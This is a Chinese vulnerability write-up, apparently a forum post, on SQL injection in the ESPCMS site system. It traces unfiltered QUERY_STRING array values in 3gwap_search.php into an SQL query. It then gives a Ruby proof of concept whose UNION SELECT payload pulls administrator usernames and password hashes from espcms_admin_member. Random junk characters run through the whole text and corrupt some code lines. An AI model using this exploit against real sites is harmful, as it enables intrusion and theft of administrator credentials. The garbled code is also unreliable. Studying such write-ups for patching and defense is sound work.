0×0 漏洞概述0×1 漏洞细节! `: u D) h a0 D: e
0×2 PoC4 g8 b( u4 K, r2 @( \5 x Z
. U! T0 F& G- m9 B% ~8 f
: @, h) ]0 c; {* L/ p! T; \, A3 T6 Y
0×0 漏洞概述8 \. t& H1 j! K% h1 g) C
- i0 ~. \6 d& \1 ^" e
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。% j9 j. `3 j5 k8 m3 E$ @
其在处理传入的参数时考虑不严谨导致SQL注入发生5 G6 x6 W( n) q& A1 O! [6 a
8 o$ ~4 f% R/ B- I! P! R
7 E$ t7 F9 H) C0×1 漏洞细节; h3 @& X; O: z0 _/ |4 e, g9 m
2 w8 b) t( r1 w" I2 c1 c: a8 l变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。8 x* t* ^5 K) w4 t9 c
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。3 d* m/ f' I6 r% B5 S
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
8 p4 Y. W; H8 t8 _$ X8 N+ w7 Z" X3 Q0 Y, d. ?3 ?1 W# ~# g( c
在/interface/3gwap_search.php文件的in_result函数中:
5 Z4 E* Z/ l" }$ V
3 Q6 b' S2 X$ H
2 {5 I2 z6 U0 V: t
$ i$ b$ K/ C& a* p" { function in_result() {( u8 o8 s, g- s7 t1 e1 u
... ... ... ... ... ... ... ... ...
, S: r. w7 a: ?/ ` $urlcode = $_SERVER[ 'QUERY_STRING '];+ B0 q% F$ T: D
parse_str(html_entity_decode($urlcode), $output);$ _4 N, j; `' C$ q
$ ?$ {4 D& z O/ f9 @ ... ... ... ... ... ... ... ... ...; ?4 H* ^! q3 n" N: ~
if (is_array($output['attr' ]) && count($output['attr']) > 0) {2 G. D5 @* a/ N. ? G& I
% W0 R; s: B. Z6 H $db_table = db_prefix . 'model_att';
W) W& z8 a- W% u* `7 c" w
/ k. R: o) y3 W+ G3 c. a3 V l& Q foreach ($output['attr' ] as $key => $value) {
. W$ q: V1 k" E9 e if ($value) {1 E4 d; H) T1 y3 |# R8 W, y$ H
0 ~. R4 Q3 g3 a& ~8 }. s
$key = addslashes($key);
! [; G+ L( J6 M: s5 {, R3 M $key = $this-> fun->inputcodetrim($key);
# a+ w5 C' v& f; n% Y: M $db_att_where = " WHERE isclass=1 AND attrname='$key'";1 l& j4 I' j( I
$countnum = $this->db_numrows($db_table, $db_att_where);. z* `9 K4 u7 E+ ^" F
if ($countnum > 0) {
% F( s) ]$ R" b' U( s4 ] $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
& A/ @7 u/ B" o9 p& T }
: P- c+ t& a& g6 k }4 `; B1 O/ ]6 n9 q
}$ o3 Y. @5 X A" A) D
}
8 a* K& g5 h' N2 l Q if (!empty ($keyword) && empty($keyname)) {
9 J% b+ {; ~ Y n' j$ ? $keyname = 'title';& W8 t: Y( _7 V% K# Y9 y/ a6 Z- h
$db_where.= " AND a.title like '%$keyword%'" ;
& g# o' o2 }2 |6 v1 y4 J8 n } elseif (!empty ($keyword) && !empty($keyname)) {
8 I( u2 ~$ h% K6 T$ C# z9 G $db_where.= " AND $keyname like '% $keyword%'";
: S9 S0 G( P: b4 A* l }
" G2 O* D3 J3 a( } $pagemax = 15;5 Q7 t3 s% m9 t) |# ?) S
5 u) u$ _$ Q* s7 i3 E! v+ R- ^1 U9 `
$pagesylte = 1;
/ B1 V6 B) \5 t C! a2 K5 e; e
* ^5 ]# x. b& Z4 R/ k2 @* s if ($countnum > 0) {
: L! \& }1 b+ s, i
; E' F) J8 {, w8 d1 u+ d# C $numpage = ceil($countnum / $pagemax);/ `" h4 h; s9 E
} else {2 o+ D' V7 Z* W8 |! _: X9 p5 u
$numpage = 1; v, u( B" D6 W0 L1 {/ X
}
8 y: y( Z3 B# h; P3 C $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;; N% f/ j2 k& n
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);. G) T& i9 b; F6 J6 @
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);# U& |' i6 x6 |: F9 f; S. F
... ... ... ... ... ... ... ... ...
$ c$ `, r( S) k- K) o }1 L7 T9 g( O' B5 i1 I. f8 g
8 c- b/ ]8 Q4 {/ s/ [ c
$ @9 A0 F5 `% f, \! k8 m0×2 PoC; U# N" V9 M0 G! S" T4 N
+ d$ v7 W. y. o( f/ U! P, \8 G! y/ B* q, i: s
, |5 O! F( g' E* h! K# T* s% S7 ]require "net/http"7 }1 R0 K6 N3 @$ C- C
& x4 L" b, u% t n
def request(method, url)
4 J6 E" ^8 B; `) Q( L3 t* D! d: ~: ~ if method.eql?("get"), ~$ T$ D2 [5 e
uri = URI.parse(url), `9 q- J& _! [# Y
http = Net::HTTP.new(uri.host, uri.port)
0 P4 L! ^4 @( Y$ X/ D: N response = http.request(Net::HTTP::Get.new(uri.request_uri))% d3 E& X; i Z
return response
! y. r! G- s$ Z9 Z+ ^ end" Q r ?: K4 u# M1 N& v% p- g
end
5 V4 c H" O# t, h- o. _$ ~0 o Q8 a% `/ V1 i, | P9 j
doc =<<HERE
I; m1 f! F' E2 `- X8 y-------------------------------------------------------
: N2 y* r% P7 p% zEspcms Injection Exploit! l+ ?# t0 T: I" ~
Author:ztz. d, T7 m* O4 ~* W: U7 d8 B
Blog:http://ztz.fuzzexp.org/7 ~; V; h% y% G I' L
-------------------------------------------------------1 u- x; T+ A/ W
. m3 a$ x4 X3 Y; l) E, zHERE- C6 z/ _# X( g9 z- I5 u" t, d3 F
0 {, r& i% Z/ s, ?3 B" c
usage =<<HERE
1 @/ U7 q, w! q8 f& K, U5 R4 qUsage: ruby #{$0} host port path
8 T6 r! |, |4 ^# I0 ~) {& texample: ruby #{$0} www.target.com 80 /" Z. t) v% ?2 i, G/ }$ ~) U8 x
HERE
8 f% L) z4 l7 T
% J2 }! I! I u. Q2 J4 kputs doc
# s. K" b3 ~' Q% \, [if ARGV.length < 36 \2 D6 p# J& e9 U3 ^
puts usage
4 i1 x: K3 e4 d8 Q) y F Melse
; U. v& |+ O" d' D- }/ L $host = ARGV[0]
( Q/ o5 Q: H* x( I6 | B' d3 v" I" F $port = ARGV[1]
+ L1 n8 N+ M% U( n; K $path = ARGV[2]$ P6 g8 H3 i# q0 Z
& \9 u. @5 e, k3 d8 o9 `' k
puts "send request..." m; e' \/ A0 @; q" C) D! M
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&. v/ k# S3 b) w
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13" R. p7 c9 ]; L4 C
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,277 m- j8 u5 K: a; w" k6 I+ L
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23", E. O( r0 B7 ^: \6 p
response = request("get", url)5 g$ o) c6 a3 s2 R# i
result = response.body.scan(/\w+&\w{32}/)- W7 ^* p' t |, `7 m5 |5 N
puts result/ c k- m/ y1 G6 q7 y! f+ t
end) U. `5 J8 g! I' E. N
0 s8 H( h6 c' G
|